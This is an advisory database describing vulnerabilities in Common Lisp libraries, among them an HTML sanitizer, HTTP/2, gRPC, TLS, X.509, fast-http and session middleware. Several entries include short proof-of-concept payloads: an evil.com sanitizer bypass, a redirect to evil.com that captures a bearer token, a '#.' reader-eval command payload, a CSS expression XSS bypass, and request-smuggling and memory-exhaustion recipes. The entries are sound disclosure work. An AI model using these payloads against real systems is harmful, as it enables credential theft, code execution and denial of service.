CL-SEC Advisory Database

Description

This is an incomplete-fix follow-on to CL-SEC-2026-0132.

The protocol-allowed-p function (src/policies.lisp) permits relative URLs by accepting any value whose first character is "/", and -- after the CL-SEC-2026-0132 fix (commit 10cc58c, v1.0.0) -- rejecting protocol-relative URLs that begin with "//". However, that fix only special-cases the forward slash:

(and (> (length url-lower) 0)
     (char= (char url-lower 0) #\/)
     (or (<= (length url-lower) 1)
         (char/= (char url-lower 1) #\/)))

Per the WHATWG URL Standard, a backslash is treated as equivalent to a forward slash in the authority position of special-scheme (http/https) URLs. Browsers therefore resolve "/\evil.com/x", "\/evil.com", and "\evil.com" as the network-path (protocol-relative) reference "//evil.com/x" -> "https://evil.com/x". Because the sanitizer only rejects a literal "//", the value "/\evil.com/..." passes the relative- URL allowance (second character is "\", not "/") and is preserved on href, src, cite, poster, background, and srcset attributes. The attacker-controlled domain is then loaded by the victim's browser.

As with CL-SEC-2026-0132, this enables tracking pixels and IP/data exfiltration via auto-loaded (no user interaction required), and open-redirect / phishing via on click. The bypass affects the default policy; no special configuration is needed. The entity- encoded form (e.g. "/\evil.com") is normalized to the same payload and is likewise affected.

(protocol-allowed-p *default-policy* "//evil.com/x")  => NIL  ; 0132
(protocol-allowed-p *default-policy* "/\\evil.com/x")  => T    ; bypass

(sanitize-html "<img src='/\\evil.com/track.gif'>")
  => "<img src=\"/\\evil.com/track.gif\">"

Description

The HTTP/2 receive path buffers inbound DATA frames per stream with no upper bound, and the receiver's flow-control window provides no backpressure, so a single unauthenticated peer can drive the server to exhaust memory.

In connection.lisp, process-frame appends every DATA payload to the stream's buffer:

(stream-append-data stream (frame-payload frame))

stream-append-data (streams.lisp) is an unbounded vector-push-extend loop. Immediately afterwards the handler decrements the local flow-control window and then restores it while emitting a WINDOW_UPDATE for the full payload:

(decf (window-size (connection-local-window conn)) data-length)
... write WINDOW_UPDATE(0, data-length) / WINDOW_UPDATE(stream, data-length) ...
(incf (window-size (connection-local-window conn)) data-length)

The net window change is zero and the peer is always told it may send more, so flow control never throttles a sender. There is no max-receive-message-size anywhere in ag-http2 or ag-grpc.

Exploit: after the HTTP/2 handshake, an unauthenticated peer opens a stream and streams DATA frames without ever setting END_STREAM (or declares a large gRPC length prefix and trickles the body). Because the bytes are buffered at the HTTP/2 layer before any handler/gRPC dispatch, the per-stream buffer grows without limit until the process is killed by the OOM killer, taking down the whole server for all clients. The streaming-RPC message queue (stream-message-buffer in server.lisp) has the same unbounded shape when the application handler is slower than the sender.

This is the same class of remote, unauthenticated memory-exhaustion DoS as CL-SEC-2026-0204 (decompression bomb) and CL-SEC-2026-0197 (length-delimited allocation), and is made cheaper by CL-SEC-2026-0209 (no SETTINGS_MAX_FRAME_SIZE enforcement, allowing 16 MB DATA frames).

Description

read-frame (frames.lisp) parses the 24-bit frame length from the wire and unconditionally allocates a payload buffer of that size before reading the body:

(length (logior (ash (aref header 0) 16)
                (ash (aref header 1) 8)
                (aref header 2)))
...
(payload (make-array length :element-type '(unsigned-byte 8)))

The declared length may be up to 2^24-1 (16 MiB). RFC 7540 section 4.2 requires that a frame exceeding the receiver's advertised SETTINGS_MAX_FRAME_SIZE (default and minimum 16384) be treated as a connection error of type FRAME_SIZE_ERROR. The server advertises max-frame-size 16384 in its SETTINGS but never checks inbound frames against it.

Exploit: an unauthenticated peer sends a 9-byte frame header declaring a length of up to 16 MiB and then stalls. read-frame allocates the full buffer and blocks in read-full-sequence waiting for bytes that never arrive. With the default max-connections of 128, roughly 2 GiB of server memory can be pinned with only a few bytes of traffic per connection (a ~1.8-million-to-one amplification from the 9-byte header). Because the bound is per frame, repeated oversize frames also feed the unbounded buffering issue described in CL-SEC-2026-0208.

Description

The Encrypted Client Hello (ECH) configuration parser in src/handshake/ech.lisp reads attacker-controlled 16-bit and 8-bit length fields (public_key, cipher_suites, public_name, extensions) and slices the input with raw AREF/SUBSEQ before performing its only bounds check (the (<= pos end) test at the end of parse-ech-config-contents). An oversized length field therefore makes SUBSEQ raise SB-KERNEL:BOUNDING-INDICES-BAD-ERROR — an ordinary CL error that is NOT a subtype of pure-tls:tls-error.

A pure-tls client reaches this path when it parses the ECH extension in an EncryptedExtensions message (parse-ech-extension dispatches to parse-ech-config-list for the :encrypted-extensions context). This happens during normal message parsing even if the client never offered ECH. The handshake error handlers only catch tls-* conditions, so the raw bounds error propagates uncaught and terminates the handshake (and, depending on how the caller drives the connection, the worker thread).

Proof of concept (an 11-byte ECHConfigList whose declared public_key length is 0xFFFF):

00 09 fe 0d 00 05 00 00 20 ff ff

parse-ech-config-list accepts the outer length, parse-ech-config reads version 0xfe0d and contents length 5, and parse-ech-config-contents then evaluates (subseq data 11 65546) over an 11-byte buffer, raising "The bounding indices 11 and 65546 are bad for a sequence of length 11."

Description

The pure-Lisp certificate chain verifier (verify-certificate-chain in src/x509/verify.lisp) validated dates, issuer names, BasicConstraints cA, keyCertSign, path-length, and signatures, but never inspected the ExtendedKeyUsage (EKU) extension. EKU was even listed among the "known" critical extensions (src/x509/certificate.lisp), so a leaf carrying a critical EKU that omits id-kp-serverAuth was accepted silently as a TLS server certificate; symmetrically, a client certificate need not carry id-kp-clientAuth.

Concretely, a leaf with EKU = clientAuth only (no serverAuth) is accepted when validating a server's chain:

(verify-certificate-chain (list clientauth-only-leaf) (list root))
=> T          ; should be rejected for TLS server authentication

The risk is that EKU is a relied-upon technical constraint: PKIs delegate subordinate CAs that are constrained (by EKU and/or nameConstraints) so that they cannot mint certificates usable for TLS server authentication. By ignoring EKU, pure-tls removes that containment, so a certificate (or sub-CA) constrained away from serverAuth could nonetheless be used to authenticate a TLS server, enabling man-in-the-middle interception.

Note: this is the surviving half of an earlier internal finding whose nameConstraints component proved to be a false positive — pure-tls fails closed on a critical nameConstraints extension because the nameConstraints OID (2.5.29.30) is not recognized, so such certificates are rejected at parse time.

Description

The gRPC client decodes the peer-supplied grpc-message trailer with percent-decode (metadata.lisp), called from the response-handling paths in call.lisp. The decoder assumes a "%" is always followed by two hex digits:

((and (char= char #\%) (<= (+ i 2) len))
 (vector-push-extend (parse-integer string :start (1+ i)
                                            :end (+ i 3) :radix 16)
                     bytes)
 (incf i 3))

A malicious or buggy server can send a grpc-message value with a truncated escape (for example "...%2", one hex digit before end-of- string) or a non-hex escape ("...%ZZ"). In the truncated case parse-integer is called with :end past the end of the string, raising SB-KERNEL:BOUNDING-INDICES-BAD-ERROR; in the non-hex case parse-integer raises on the invalid digits. Either uncaught error aborts processing of that RPC's response.

Impact is limited: the attacker must be the server the client chose to talk to (or be positioned to tamper with its trailers), and the effect is confined to the availability of the client's own in-flight call, not other calls or other clients -- hence the high attack complexity and low severity.

Description

Generated deserialize-from-bytes methods for protobuf messages recurse into nested message fields without any depth limit. A malicious protobuf payload containing deeply nested embedded messages (e.g., message A containing message A containing message A...) causes unbounded stack recursion, crashing the process with a stack overflow.

The relevant code path in codegen.lisp generates:

(let ((data (read-length-delimited buffer)))
  (deserialize-from-bytes 'NESTED-TYPE data))

Each nested message triggers another call to deserialize-from-bytes with no depth tracking. An attacker who can send arbitrary protobuf messages to a gRPC server (or trick a client into deserializing a crafted response) can cause denial of service.

This affects all generated message types that contain embedded message fields, including recursive/self-referential message definitions.

Description

The gRPC message decompression functions gzip-decompress and decompress-grpc-message (framing.lisp) decompress the full payload into memory without checking the resulting size. A small compressed gRPC message (e.g., a few kilobytes of gzip-compressed zeros) can expand to gigabytes, exhausting available memory and crashing the process.

The gzip decompression path was:

(chipz:decompress nil 'chipz:gzip simple-data)

The result is returned without any size validation. The existing max-message-size limit (CL-SEC-2026-0197) only checks the compressed wire size, not the decompressed output.

This affects both server-side request decompression and client-side response decompression when gzip or deflate encoding is negotiated via the grpc-encoding header.

Description

The verify-certificate-chain function accepted a certificate chain as trusted if any chain member's issuer distinguished name matched a trusted root certificate, without verifying the cryptographic signature against that root's public key. The check used certificate-issued-by-p (issuer name equality) as a sufficient condition for trust anchoring.

An attacker could construct a certificate chain containing a forged intermediate whose issuer DN matches a well-known root CA. Since the signature was never checked, this forged intermediate would pass the trust anchor test, and any end-entity certificate chaining to it would be accepted. This enables man-in-the-middle interception without requiring CA compromise — only knowledge of the target root CA's distinguished name.

The fix requires that chain-to-anchor verification calls verify-certificate-signature in addition to certificate-issued-by-p, ensuring the chain is cryptographically bound to the trust anchor.

Description

The ct-equal-mask function in src/utils.lisp masked the XOR of the two input lengths with #xFF before accumulating into the diff variable. When two inputs differ in length by a multiple of 256, the masked length XOR is zero, and if the first min(len-a, len-b) bytes are identical, ct-equal-mask returns #xFF (equal).

This function is used in ML-KEM-768 decapsulation (src/crypto/ml-kem.lisp) to compare the re-encrypted ciphertext against the received ciphertext for implicit rejection (FIPS 203 Section 7.3). A false "equal" result causes decapsulation to return the real shared secret instead of the rejection key, breaking IND-CCA2 security.

In practice, ML-KEM ciphertexts are fixed-length within a parameter set, which limits immediate exploitability. However, the function is a general-purpose primitive and any future use with variable-length inputs (MACs, hashes, authentication tokens) would be directly exploitable as an authentication bypass.

The fix accumulates the full fixnum XOR of lengths and folds all bytes together before the mask derivation, ensuring any non-zero length difference produces a "not equal" result.

Description

The chunk size parser (src/parser.lisp lines 556-591) accumulates hex digits into http-content-length without any upper bound check:

(setf (http-content-length http)
      (+ (* 16 (http-content-length http)) unhex-val))

The type is arbitrary-precision integer (CL bignum). A malicious client can send a chunk size with thousands of hex digits (e.g., FFFFFF...FFFFFF\r\n), causing:

1. Memory exhaustion via unbounded bignum allocation
2. CPU exhaustion via progressively slower bignum multiplication
3. Downstream logic errors when the astronomical content-length is compared against fixnum values

Description

When dexador follows a 301, 302, 303, 307, or 308 redirect to a different host, it forwards the original request's authentication credentials to the new target host.

In the usocket backend (src/backend/usocket.lisp), the cross-host redirect path (line 743-759) passes the full &rest args plist to the recursive request call. Only :headers, :max-redirects, :method, and :stream are modified; :basic-auth and :bearer-auth are carried through unchanged. The :headers list is also preserved via nconc, so any explicit Authorization header supplied by the caller is forwarded as well.

In the winhttp backend (src/backend/winhttp.lisp, line 224-228), the entire args plist is passed unmodified to the recursive call, producing the same behavior.

An attacker who controls the initial target (or who can inject a redirect via an open-redirect vulnerability on a trusted host) can redirect the request to a host they control and capture the victim's credentials:

;; User trusts example.com
(dex:get "https://example.com/api"
         :bearer-auth "ghp_secret_token")

;; example.com has an open redirect, or the attacker controls
;; the initial host.  302 Location: https://evil.com/steal
;; => dexador sends "Authorization: Bearer ghp_secret_token"
;;    to evil.com

Cookie-jar cookies are NOT affected: build-cookie-headers is called with the new URI on same-host redirects, and on cross-host redirects the cookie-jar is re-evaluated per domain by the recursive request.

This is the same class of vulnerability as: - Python requests: CVE-2023-32681, CVE-2018-18074 - Go net/http: (stripped by default since Go 1.0) - curl: CVE-2018-1000007 (fixed in 7.58.0) - ruby net/http: CVE-2024-25126

Description

When a second Content-Length header is encountered, parse-header-field-and-value (src/parser.lisp line 314) unconditionally overwrites the previously stored value:

(setf (http-content-length http) content-length)

There is no check for whether http-content-length has already been set. Per RFC 9112 Section 6.3, a message with multiple Content-Length values that disagree MUST be rejected as invalid.

By silently accepting the last value, fast-http allows a front-end proxy that uses the first Content-Length to disagree with fast-http (which uses the last), enabling classic CL-CL request smuggling.

Additionally, the higher-level collect-prev-header-value function (fast-http.lisp lines 129-135) concatenates duplicate header values with ", " -- but this happens after the parser has already set http-content-length to the second value. The http struct uses the last CL value while the headers hash table presents "100, 50" -- an inconsistency that further enables smuggling.

Description

When a request contains both Transfer-Encoding: chunked and a Content-Length header, fast-http accepts both without error. The parser decides body framing based on the http-chunked-p flag (src/parser.lisp lines 717-720):

(setf (http-state http)
      (if (http-chunked-p http)
          +state-chunk-size+
          +state-body+))

Per RFC 9112 Section 6.3: "If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling and ought to be handled as an error."

fast-http does NOT reject this as an error and does NOT clear the Content-Length when Transfer-Encoding is present. A proxy that routes based on Content-Length while fast-http uses chunked framing creates a classic TE-CL smuggling vector.

This is the standard deployment model for Woo (the CL web server that uses fast-http), which is typically placed behind nginx or another reverse proxy.

Description

When parse-set-cookie-header parses a Set-Cookie response, it stores the domain attribute verbatim (src/cl-cookie.lisp line 392) without checking whether the origin server is authorized to set cookies for that domain.

Per RFC 6265 Section 5.3 step 5, a cookie's domain attribute MUST be rejected if the origin host does not domain-match it.

Domain validation via cookie-domain-p only happens at cookie retrieval time (match-cookie, line 194), not at storage time. This means:

1. A malicious server at evil.com can set Domain=victim.com on a cookie.
2. The cookie is accepted and stored in the cookie jar.
3. merge-cookies' delete-duplicates (line 248) can overwrite a legitimate cookie for the same name/path/domain combination.

If a user visits evil.com before victim.com, evil.com can overwrite the victim's session cookie in the jar. When the user visits victim.com, the legitimate cookie has been destroyed. This enables session fixation and denial of service.

Description

The Transfer-Encoding parser uses match-i-case for case-insensitive matching of "chunked" (src/parser.lisp lines 353-377). If the value does not exactly match after trimming leading whitespace, chunkedp is set to nil.

Obfuscated variants that some proxies accept as chunked are treated as non-chunked by fast-http:

• "chunked " (trailing space): fast-http sets chunkedp = nil
• "chunked\x00" (null byte): treated as not-chunked
• "chunked, identity": treated as not-chunked

The trailing-space case is particularly dangerous: fast-http sets chunkedp = nil while a front-end proxy that trims whitespace before comparison sees "chunked", creating a TE-TE desync.

Additionally, duplicate Transfer-Encoding headers are silently accepted with the last value winning (line 324), enabling:

Transfer-Encoding: chunked
Transfer-Encoding: identity

The second header overrides chunkedp to nil. A proxy using the first value sees chunked; fast-http sees identity.

Description

The ag-proto library's decode-length-delimited-from-stream function (wire-format.lisp:293-299) allocates a byte vector based on a length value decoded from the input stream:

(let* ((length (decode-varint-from-stream stream))
       (data (make-array length :element-type '(unsigned-byte 8))))
  (read-sequence data stream)
  data)

The varint-decoded length can be up to 2^63. A malicious protobuf message can specify an enormous length for a string, bytes, or embedded message field, causing the decoder to attempt allocating gigabytes of memory.

This affects all deserialization paths including string decoding (decode-string-from-stream, line 319-321) and any generated message deserializer that processes length-delimited fields.

Additionally, decode-field-tag-from-stream (line 361-376) lacks the shift > 63 check present in decode-varint-from-stream, allowing a malicious input with continuous high-bit-set bytes to cause unbounded loop iterations.

Description

The sanitizer has no special handling for SVG or MathML namespace elements. The dangerous-tag list that triggers full content removal does not include svg, math, object, iframe, embed, applet, base, meta, link, or template. These tags are handled by the "remove tag, keep children" path, which promotes their content into the document.

SVG elements can contain foreignObject which re-enters HTML parsing context, and MathML's annotation-xml similarly re-enters HTML parsing. This enables mutation XSS (mXSS) where the sanitizer's DOM tree differs from the browser's re-parsing of the sanitized output.

Description

The session middleware (src/middleware/session.lisp lines 26-32) accepts client-supplied session IDs even when no corresponding session exists in the store:

(let* ((sid (extract-sid state env))
       (session (and sid (fetch-session store sid)))
       (sid (or sid (generate-sid state env)))
       ...)

When a client supplies a session ID via cookie but no session data exists in the store for that ID (fetch-session returns nil), the server still uses the client-supplied sid (line 29: the or form returns sid because it is non-nil, so generate-sid is never called). The session is then stored under this attacker-controlled ID.

An attacker can exploit this for session fixation:

1. Generate a valid-format session ID (40 hex chars, matching the validator regex in state/cookie.lisp)
2. Inject it into a victim's browser via a subdomain cookie, XSS, or link with cookie-setting redirect
3. Wait for the victim to authenticate
4. Use the known session ID to access the victim's authenticated session

Description

Both the DBI and Redis session stores use read-from-string as part of their default deserializer:

In src/middleware/session/store/redis.lisp line 40:

(deserializer (lambda (data)
                (unmarshal (read-from-string
                            (utf-8-bytes-to-string
                             (base64-string-to-usb8-array data))))))

In src/middleware/session/store/dbi.lisp line 38, the identical pattern.

read-from-string is the full Common Lisp reader, which by default processes reader macros including #. (read-time evaluation). If read-eval is not explicitly bound to nil before calling read-from-string, an attacker who can write to the session store (via SQL injection elsewhere, direct Redis access, a shared Redis instance, or any other data injection vector) can inject a payload such as:

#.(uiop:run-program "id" :output :string)

into the serialized session data, achieving arbitrary code execution when the session is loaded on the next request.

The base64 encoding does not prevent exploitation -- the attacker simply base64-encodes the malicious payload.

Description

User prompts are rendered through 3bmd (Markdown-to-HTML converter) and injected into the page via innerHTML and outerHTML on the client side. The Markdown-to-HTML conversion does not sanitize inline HTML, so a user prompt containing script tags or event handler attributes will be converted to executable HTML.

In a multi-user scenario (shared session-data hash table and WebSocket chat rooms), this is a stored XSS vulnerability where one user's malicious prompt is rendered in another user's browser.

Description

The Gemini provider in cl-completions constructs its endpoint URL by appending the API key as a query parameter:

(format nil "...generateContent?key=~A" api-key)

This embeds the secret key directly in the URL string. The key is then exposed through multiple channels:

• HTTP proxy and server access logs, which routinely record full request URIs including query strings.
• Debug output when debug-stream is bound, since the endpoint URL is logged as part of request tracing.
• Error messages generated by safe-http-request (see CL-SEC-2026-0002), which include the full request URI in the signalled condition.
• Any network-level monitoring or packet capture that inspects URL strings.

The OpenAI and Anthropic providers in the same library correctly transmit credentials via HTTP headers, demonstrating that the header-based approach is already established in this codebase.

Google's Gemini API supports the x-goog-api-key header as an alternative to the query parameter.

Description

The Gemini completer in the cl-completions dependency embeds the API key directly in the URL as a query parameter. This causes the key to appear in HTTP access logs, proxy logs, error messages (the safe-http-request wrapper includes the request URI in errors), and debug stream output. By contrast, the OpenAI and Anthropic completers correctly pass their keys via HTTP headers.

Description

When the reader thread processes MSG or HMSG operations, it reads the byte count from the parsed protocol line and immediately allocates a buffer of that size via make-array. A malicious or compromised NATS server can send a MSG line with an enormous byte count, causing the client to attempt to allocate gigabytes of memory. There is no upper bound check against max_payload from the server INFO, and a malicious server controls that value as well.

Description

The URI parser uses Common Lisp's read-from-string to parse the port component of a URI:

(setq port (read-from-string port))

read-from-string invokes the full Lisp reader instead of a numeric parser, enabling denial of service through parse-uri:

1. Floating-point overflow. The URI state machine's port tokenizer accepts digits, dots, and letters such as 'e', so a URI like:

   http://example.com:1e100000000000000/

delivers the string "1e100000000000000" to read-from-string, which signals a floating-point-overflow condition in most implementations, crashing any handler without an enclosing handler-case.

1. Bignum allocation. A port string containing millions of digit characters (e.g. http://example.com:111...111/) causes read-from-string to allocate an arbitrarily large bignum, consuming CPU and memory. The resulting integer passes both the numberp and plusp checks, so no error is raised.

Additionally, no port range validation is performed. Any positive number is accepted, including values far outside the valid TCP port range of 1-65535.

Note: while read-from-string can also execute arbitrary code via the #. reader macro when read-eval is T (the default), the URI parser's state machine treats # as a fragment delimiter, preventing #. from reaching the port code path through parse-uri. The #. vector is only reachable if application code passes unsanitized strings to read-from-string outside of parse-uri.

Description

Both make-channel (with :tls t) and make-secure-channel default to :tls-verify nil / :verify nil, meaning TLS connections do not validate the server's certificate by default.

In channel.lisp:

(defun make-channel (host port &key ... tls (tls-verify nil) ...)

(defun make-secure-channel (host port &key ... (verify nil) ...)

This is forwarded to wrap-stream-with-tls in tls.lisp, which passes +VERIFY-NONE+ to pure-tls when verify is nil.

A caller using make-secure-channel reasonably expects a secure connection, but gets one that is vulnerable to man-in-the-middle interception. An attacker who can intercept the TCP connection (via DNS hijacking, ARP poisoning, BGP hijacking, or a compromised network intermediary) can present their own certificate and proxy all traffic in both directions.

This default is unsafe on its own terms: enabling TLS while disabling certificate verification defeats the authentication property that users normally expect from a secure channel. This also diverges from the usual expectation for TLS client APIs, which normally verify the peer certificate by default unless the caller explicitly opts out.

Description

The generate-rsa-key-pair function accepts an arbitrary :bits parameter with a default of 2048 but imposes no minimum. A caller can generate keys of any size including fatally weak ones such as 512, 256, or 64 bits. RSA-512 was factored publicly in 1999. NIST has required a minimum of 2048 bits since 2013.

If cl-x509 is used to generate CA certificates with small keys, the entire PKI chain rooted in that CA is compromised. An attacker who can factor the CA's modulus can forge arbitrary certificates.

Description

The temporary directory used for downloads is constructed with a predictable name based on get-universal-time (wall-clock seconds). A local attacker can pre-create the directory or a symlink before the update runs. Since ensure-directories-exist does not fail if the directory already exists, the attacker controls where files are written. Between download and extraction, a local attacker can also swap the archive file (TOCTOU race). The temporary directory is never cleaned up.

Description

RFC 8446 Section 4.1.3 requires TLS 1.3 clients to check the last 8 bytes of ServerHello.random for downgrade sentinel values when the server negotiates TLS 1.2 or below. pure-tls does not perform this check in process-server-hello or any other function.

While pure-tls only supports TLS 1.3 and rejects ServerHello without the supported_versions extension indicating 1.3, a MITM attacker could craft a response that passes the supported_versions check while directing the client toward a weaker configuration. If pure-tls is ever extended to support TLS 1.2 fallback, the absence of this check would enable downgrade attacks.

Description

The Hunchentoot session cookie value is embedded directly in the HTML page as a JavaScript variable and sent over the WebSocket connection. Combined with the stored XSS vulnerability (CL-SEC-2026-0118), an attacker who injects JavaScript can extract the session ID and hijack another user's session, gaining access to their chat history and LLM completer which may hold API keys. The session ID is also logged server-side via log4cl.

Description

Subject names, reply-to addresses, and queue group names are interpolated directly into PUB, SUB, and HPUB wire protocol commands using format with no validation. A subject containing CRLF characters can inject arbitrary NATS protocol commands onto the wire, potentially subscribing to unauthorized subjects or publishing rogue messages.

This is exploitable whenever user-controlled input flows into publish, subscribe, or request subject parameters.

Description

When ocicl downloads a system package, it fetches an OCI manifest containing layer digests, then retrieves the blob by that digest URL. However, the client never independently verifies that the received blob content actually hashes to the claimed SHA-256 digest.

The project documents GPG signature verification and sigstore rekor transparency log integration in the README, but these are entirely manual processes. The download-system, get-blob, and download-and-install functions in src/ocicl.lisp perform no cryptographic verification of package content before extracting and installing it.

This means the client relies entirely on TLS transport security and registry-side digest enforcement. If TLS is disabled (via -k/--insecure flag or OCICL_INSECURE env var), or if the registry itself is compromised, malicious packages can be installed without detection. Even with TLS enabled, a compromised or malicious registry can serve arbitrary content.

The ocicl.csv file records the manifest digest alongside each installed system, but this digest is never verified against the actual content on disk after extraction.

Description

The SHA256 validation system has multiple weaknesses. If no checksum asset (.sha256, checksums.txt, or SHA256SUMS) is present in the release, the download proceeds with zero integrity verification and no warning. Even when a checksum file is found, if the expected hash cannot be parsed for the specific asset, validation is silently skipped. The checksum file is fetched from the same unauthenticated channel as the binary, so an attacker who can compromise the release can replace both simultaneously. There is no GPG or minisign signature verification.

Description

Neither the dexador nor drakma HTTP backends explicitly configure TLS certificate verification parameters. Whether certificates are verified depends entirely on the underlying TLS library defaults. The library loads pure-tls/cl+ssl-compat by default, and the legacy cl+ssl fallback also does not verify certificates by default unless explicitly configured. The library never sets :verify t or configures CA certificates.

If TLS verification is not active, an attacker in a network position can intercept update downloads and serve a malicious binary.

Description

The tar extraction code uses file-namestring to extract the basename, but its behavior with malicious input is implementation-defined. On some CL implementations, crafted pathnames with path traversal sequences may not be fully sanitized. The zip extraction has the same pattern.

Additionally, the executable-name matching uses substring search rather than exact match, meaning a crafted archive entry name like "legit-app-evil-payload" matches an executable-name of "legit-app".

Description

The CSS sanitizer uses a naive semicolon-split parser and does not strip CSS comments before performing danger checks. An attacker can use CSS comments to break up dangerous keywords, e.g., "exp/**/ression(alert(1))" bypasses the check for "expression" because the contiguous string does not appear in the value. After the browser's CSS parser removes the comment, expression() executes JavaScript in legacy Internet Explorer.

The email policy allows the style attribute globally on all allowed tags, making this exploitable for any application using that policy.

Description

When a tag is not in the allowlist and not in the dangerous tags list, it is removed but its children are promoted to the parent. The dangerous tags list is missing svg, math, iframe, object, embed, template, xmp, listing, plaintext, base, meta, link, head, and title. These tags have their content promoted rather than fully removed.

The most critical missing entry is svg, which enables mutation XSS through SVG/MathML namespace confusion where the sanitizer's DOM tree differs from the browser's re-parsing of the sanitized output.

Description

The build-connect-json function unconditionally includes user, pass, and auth_token fields in the CONNECT JSON payload. When the connection is not using TLS (nats:// URLs), these credentials are transmitted in plaintext over the wire. There is no check or warning when credentials are provided on a plain TCP connection. A network observer can trivially intercept authentication tokens and passwords.

Description

The safe-http-request function in cl-completions signals an error condition that includes the full request URI obtained via dex:request-uri:

(error "An HTTP request to ~S has failed (status=~A).~%~%~A"
       (dex:request-uri e)
       (dex:response-status e)
       string-body)

When combined with CL-SEC-2026-0001 (Gemini API key in URL), this leaks the API key into any error handler, log collector, or condition-reporting mechanism that captures the error text.

Even without CL-SEC-2026-0001, this is independently a concern: endpoint URLs may contain session tokens, internal hostnames, or path-based routing information that should not appear in error output visible to end users or forwarded to external error-tracking services.

This vulnerability predates the Gemini provider — it was introduced when the error-handling wrapper was first added in 392c08c, affecting all providers.

Description

The days parameter used to compute the certificate validity period is not validated. Negative values produce certificates where not-after precedes not-before (malformed per RFC 5280 Section 4.1.2.5). Zero produces a zero-second validity period. Extremely large values produce unreasonable validity periods. These malformed certificates can cause validation failures, interoperability problems, or create a false sense of security.

Description

The Key Usage extension encoding uses a fragile unused-bits calculation that only works for single-byte bit strings by coincidence. The decipherOnly usage (bit 8 in RFC 5280) cannot be encoded correctly because the code only produces one byte. When no usages are specified, a meaningless extension is silently produced with 7 unused bits and a zero byte.

Description

RFC 8446 Section 4.1.3 requires clients to abort the handshake with an illegal_parameter alert if the ServerHello legacy_session_id_echo does not match the legacy_session_id sent in the ClientHello. The process-server-hello function never performs this comparison, even though the client-handshake struct stores the legacy-session-id.

A MITM proxy could tamper with the session ID without detection, potentially confusing middleboxes or causing session-mismatch issues.

Description

The function decode-double-encoded-entities runs as a post-processing step on the final serialized HTML string, reversing Plump's safe entity encoding of >, <, ", and ' back into their active forms. This post-serialization string rewriting is an anti-pattern that creates a fragile security boundary.

User-controlled text content containing literal entity-like strings can be decoded into active HTML characters. The triple-encoding regex has a negative lookahead that can be bypassed with entity names not in the exclusion list. Any change to Plump's serialization behavior could make this directly exploitable for XSS.

Description

The protocol-allowed-p function checks if a URL starts with "/" and returns true, intending to allow relative URLs. However, protocol- relative URLs starting with "//" (e.g., "//evil.com/track.gif") also pass this check, allowing an attacker to load resources from arbitrary domains. This enables tracking pixels, data exfiltration via URL parameters, and phishing via image replacement.

Description

The server generates ticket_age_add values using Common Lisp's (random (expt 2 32)), which uses the implementation's default PRNG, typically a Mersenne Twister or similar non-cryptographic generator. RFC 8446 Section 4.6.1 requires fresh values to obfuscate ticket age and prevent correlation attacks.

An observer who can see multiple NewSessionTicket messages may be able to predict future ticket_age_add values and de-obfuscate ticket ages, enabling session correlation and traffic analysis. The random-grease-value function in src/constants.lisp also uses the non-cryptographic (random ...) for GREASE values.

Description

The WebSocket connection is hardcoded to use unencrypted ws:// (not wss://), and the HTTP server is created without TLS. All chat messages, including user prompts that may contain sensitive information, and LLM responses are transmitted in cleartext. In a non-localhost deployment, this exposes all chat content and session identifiers to eavesdropping and man-in-the-middle attacks.

Description

TLS connections are established via pure-tls:make-tls-client-stream with only the :hostname parameter for SNI. There is no API to configure CA bundles, certificate pinning, whether to verify the server certificate, or client certificates for mutual TLS. The behavior depends entirely on pure-tls defaults which the user cannot override.

If pure-tls does not verify certificates by default, this is a man-in-the-middle vulnerability. Even if it does verify, the user has no way to supply a custom CA bundle or disable verification for testing.

Description

The download-update function does not perform any version comparison. If a caller passes a :release argument directly, there is no check that the release version is newer than the current version. The function will install any release including older ones with known vulnerabilities.

Furthermore, detect-latest fetches at most 30 releases per page. If an attacker can create enough fake releases to push the real latest beyond page 1, detect-latest would return a stale version.

Description

The encode-name function passes CN, O, and OU values directly to encode-utf8-string without any validation. There is no check for string length (DirectoryString maximum 64 characters for CN per RFC 5280), null bytes, empty strings, or control characters.

A CN containing a null byte could enable null prefix attacks where certificate validators see a truncated CN. For example, CN="evil.com\0.legitimate.com" might pass validation for legitimate.com in vulnerable parsers (see CVE-2009-2408).

Description

The SAN extension encoder accepts arbitrary DNS name strings without validation. There is no check for null bytes (enabling null-prefix attacks), malformed wildcards (..example.com or foo*.example.com), empty labels, excessively long labels (DNS limit: 63 characters per label, 253 total), invalid characters, or non-ASCII characters without IDN/punycode conversion. IPv6 addresses in IP SANs are silently unsupported with no error.

Description

The connection failure path formats the last error into a user-visible error message. If the error's printed representation includes the CONNECT JSON (which contains user, pass, and auth_token), credentials will leak into log files, error handlers, or interactive debuggers. The build-connect-json output is passed to format-connect and then to transport-write-string, and any error during that write could capture the CONNECT payload in its condition message.

Description

The serialize-headers function does not validate header names or values before formatting them into the wire protocol. A header name or value containing CRLF characters can inject additional header lines or terminate the header block early, potentially corrupting message framing.

Description

During handshake and on reconnect, the client merges server-supplied connect_urls from the INFO message into its server list without validation. A compromised or malicious NATS server can direct the client to connect to arbitrary hosts and ports. The client will open TCP connections and send CONNECT JSON with credentials (user, pass, auth_token) to attacker-controlled endpoints.

Description

Although pure-tls exports zeroize and with-zeroized-vector, these functions are never called anywhere in the codebase. Sensitive cryptographic material persists in memory indefinitely, including AEAD keys and IVs, traffic secrets in key-schedule structs, shared secrets from DH key exchange, private keys loaded via load-private-key, and the global server ticket encryption key.

If an attacker gains a memory read primitive (via a separate vulnerability, cold boot attack, or core dump), they can recover TLS session keys and decrypt past and current sessions. This undermines TLS 1.3 forward secrecy guarantees which assume ephemeral keys are destroyed.

Description

The connection struct stores user, pass, and auth-token as plaintext strings for the lifetime of the connection. These credentials persist in heap memory and may be exposed through core dumps, heap inspection by debuggers, the CL inspector in development environments, or the struct's default print-object method which prints all slots.

Description

RSA private key components (d, p, q, dp, dq, qinv) are returned as Common Lisp bignums and passed around as function parameters without ever being explicitly cleared from memory. Intermediate DER encodings and PEM string representations also persist in the Lisp heap. Common Lisp's garbage collector does not guarantee freed memory is overwritten, and bignum values may be copied during GC compaction.

Core dumps, swap files, or memory forensics can recover key material.

Description

The safe-http-request error handler includes the full request URI in error messages, which leaks the Gemini API key since it is embedded in the URL. API error response bodies are also propagated in error messages and may echo back request details. When the debug stream is enabled, full API request payloads and responses are logged without redaction of sensitive fields.

Description

